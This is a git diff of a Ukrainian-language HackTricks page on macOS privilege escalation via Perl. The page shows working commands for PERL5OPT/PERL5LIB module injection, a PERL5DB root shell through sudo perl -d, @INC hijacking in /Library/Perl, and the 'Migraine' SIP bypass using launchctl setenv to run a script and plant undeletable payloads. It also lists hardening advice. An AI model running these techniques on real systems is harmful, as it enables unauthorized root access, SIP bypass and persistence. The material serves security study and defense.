mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/macos-hardening/macos-security-and-privilege-escalation
This commit is contained in:
parent
56bb16b03b
commit
ccaf1aafbd
@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Через змінні середовища `PERL5OPT` та `PERL5LIB`
|
||||
## Через змінну середовища `PERL5OPT` & `PERL5LIB`
|
||||
|
||||
Використовуючи змінну середовища PERL5OPT, можна змусити perl виконувати довільні команди.\
|
||||
Використовуючи змінну середовища **`PERL5OPT`**, можливо змусити **Perl** виконувати довільні команди, коли інтерпретатор запускається (навіть **перед** тим, як буде проаналізовано перший рядок цільового скрипта).
|
||||
Наприклад, створіть цей скрипт:
|
||||
```perl:test.pl
|
||||
#!/usr/bin/perl
|
||||
@ -22,17 +22,30 @@ package pmod;
|
||||
system('whoami');
|
||||
1; # Modules must return a true value
|
||||
```
|
||||
А потім використовуйте змінні середовища:
|
||||
А потім використовуйте змінні середовища, щоб модуль був розташований і завантажений автоматично:
|
||||
```bash
|
||||
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
|
||||
PERL5LIB=/tmp/ PERL5OPT=-Mpmod perl victim.pl
|
||||
```
|
||||
## Через залежності
|
||||
### Інші цікаві змінні середовища
|
||||
|
||||
Можливо перерахувати порядок папок залежностей, що виконує Perl:
|
||||
* **`PERL5DB`** – коли інтерпретатор запускається з прапором **`-d`** (дебагер), вміст `PERL5DB` виконується як код Perl *всередині* контексту дебагера. Якщо ви можете вплинути як на середовище **так і** на командні прапори привілейованого процесу Perl, ви можете зробити щось на зразок:
|
||||
|
||||
```bash
|
||||
export PERL5DB='system("/bin/zsh")'
|
||||
sudo perl -d /usr/bin/some_admin_script.pl # відкриє оболонку перед виконанням скрипту
|
||||
```
|
||||
|
||||
* **`PERL5SHELL`** – у Windows ця змінна контролює, який виконуваний файл оболонки буде використовувати Perl, коли йому потрібно запустити оболонку. Вона згадується тут лише для повноти, оскільки не є актуальною на macOS.
|
||||
|
||||
Хоча `PERL5DB` вимагає прапор `-d`, часто можна зустріти скрипти обслуговування або інсталяції, які виконуються як *root* з увімкненим цим прапором для детального усунення неполадок, що робить цю змінну дійсним вектором ескалації.
|
||||
|
||||
## Через залежності (@INC зловживання)
|
||||
|
||||
Можна перерахувати шлях включення, який Perl буде шукати (**`@INC`**), запустивши:
|
||||
```bash
|
||||
perl -e 'print join("\n", @INC)'
|
||||
```
|
||||
Що поверне щось на зразок:
|
||||
Типовий вивід на macOS 13/14 виглядає так:
|
||||
```bash
|
||||
/Library/Perl/5.30/darwin-thread-multi-2level
|
||||
/Library/Perl/5.30
|
||||
@ -44,17 +57,43 @@ perl -e 'print join("\n", @INC)'
|
||||
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
|
||||
/System/Library/Perl/Extras/5.30
|
||||
```
|
||||
Деякі з повернених папок навіть не існують, однак, **`/Library/Perl/5.30`** **існує**, вона **не** **захищена** **SIP** і знаходиться **перед** папками, **захищеними SIP**. Тому хтось міг би зловживати цією папкою, щоб додати залежності скриптів, щоб скрипт Perl з високими привілеями міг його завантажити.
|
||||
Деякі з повернених папок навіть не існують, однак **`/Library/Perl/5.30`** існує, *не* захищена SIP і знаходиться *перед* папками, захищеними SIP. Тому, якщо ви можете записувати як *root*, ви можете помістити шкідливий модуль (наприклад, `File/Basename.pm`), який буде *переважно* завантажений будь-яким привілейованим скриптом, що імпортує цей модуль.
|
||||
|
||||
> [!WARNING]
|
||||
> Однак зверніть увагу, що вам **потрібно бути root, щоб записувати в цю папку** і в наш час ви отримаєте цей **TCC prompt**:
|
||||
> Вам все ще потрібен **root**, щоб записувати в `/Library/Perl`, і macOS покаже запит **TCC**, що запитує *Повний доступ до диска* для процесу, що виконує операцію запису.
|
||||
|
||||
<figure><img src="../../../images/image (28).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
Наприклад, якщо скрипт імплементує **`use File::Basename;`**, буде можливим створити `/Library/Perl/5.30/File/Basename.pm`, що містить код, контрольований атакуючим.
|
||||
|
||||
Наприклад, якщо скрипт імпортує **`use File::Basename;`**, буде можливим створити `/Library/Perl/5.30/File/Basename.pm`, щоб виконати довільний код.
|
||||
## Обхід SIP через Migration Assistant (CVE-2023-32369 “Migraine”)
|
||||
|
||||
## References
|
||||
У травні 2023 року Microsoft розкрила **CVE-2023-32369**, прозваний **Migraine**, техніку пост-експлуатації, яка дозволяє *root* атакуючому повністю **обійти Захист цілісності системи (SIP)**. Вразливий компонент - це **`systemmigrationd`**, демон, наділений **`com.apple.rootless.install.heritable`**. Будь-який дочірній процес, створений цим демоном, успадковує право і, отже, працює **поза** обмеженнями SIP.
|
||||
|
||||
- [https://www.youtube.com/watch?v=zxZesAN-TEk](https://www.youtube.com/watch?v=zxZesAN-TEk)
|
||||
Серед дітей, ідентифікованих дослідниками, є інтерпретатор, підписаний Apple:
|
||||
```
|
||||
/usr/bin/perl /usr/libexec/migrateLocalKDC …
|
||||
```
|
||||
Оскільки Perl поважає `PERL5OPT` (а Bash поважає `BASH_ENV`), отруєння *оточення* демона достатньо для отримання довільного виконання в контексті без SIP:
|
||||
```bash
|
||||
# As root
|
||||
launchctl setenv PERL5OPT '-Mwarnings;system("/private/tmp/migraine.sh")'
|
||||
|
||||
# Trigger a migration (or just wait – systemmigrationd will eventually spawn perl)
|
||||
open -a "Migration Assistant.app" # or programmatically invoke /System/Library/PrivateFrameworks/SystemMigration.framework/Resources/MigrationUtility
|
||||
```
|
||||
Коли `migrateLocalKDC` запускається, `/usr/bin/perl` стартує з шкідливим `PERL5OPT` і виконує `/private/tmp/migraine.sh` *до повторного ввімкнення SIP*. З цього скрипту ви можете, наприклад, скопіювати корисне навантаження всередину **`/System/Library/LaunchDaemons`** або призначити розширений атрибут `com.apple.rootless`, щоб зробити файл **недоступним для видалення**.
|
||||
|
||||
Apple виправила цю проблему в macOS **Ventura 13.4**, **Monterey 12.6.6** та **Big Sur 11.7.7**, але старі або непатчовані системи залишаються вразливими.
|
||||
|
||||
## Рекомендації щодо посилення безпеки
|
||||
|
||||
1. **Очистіть небезпечні змінні** – привілейовані launchdaemons або cron jobs повинні запускатися в чистому середовищі (`launchctl unsetenv PERL5OPT`, `env -i` тощо).
|
||||
2. **Уникайте запуску інтерпретаторів від імені root**, якщо це не є строго необхідним. Використовуйте скомпільовані бінарні файли або знижуйте привілеї на ранніх етапах.
|
||||
3. **Використовуйте скрипти постачальника з `-T` (режим забруднення)**, щоб Perl ігнорував `PERL5OPT` та інші небезпечні параметри, коли перевірка на забруднення увімкнена.
|
||||
4. **Тримайте macOS в актуальному стані** – “Migraine” повністю виправлено в поточних релізах.
|
||||
|
||||
## Посилання
|
||||
|
||||
- Microsoft Security Blog – “Нова вразливість macOS, Migraine, може обійти захист цілісності системи” (CVE-2023-32369), 30 травня 2023 року.
|
||||
- Hackyboiz – “Дослідження обходу SIP в macOS (PERL5OPT & BASH_ENV)”, травень 2025 року.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user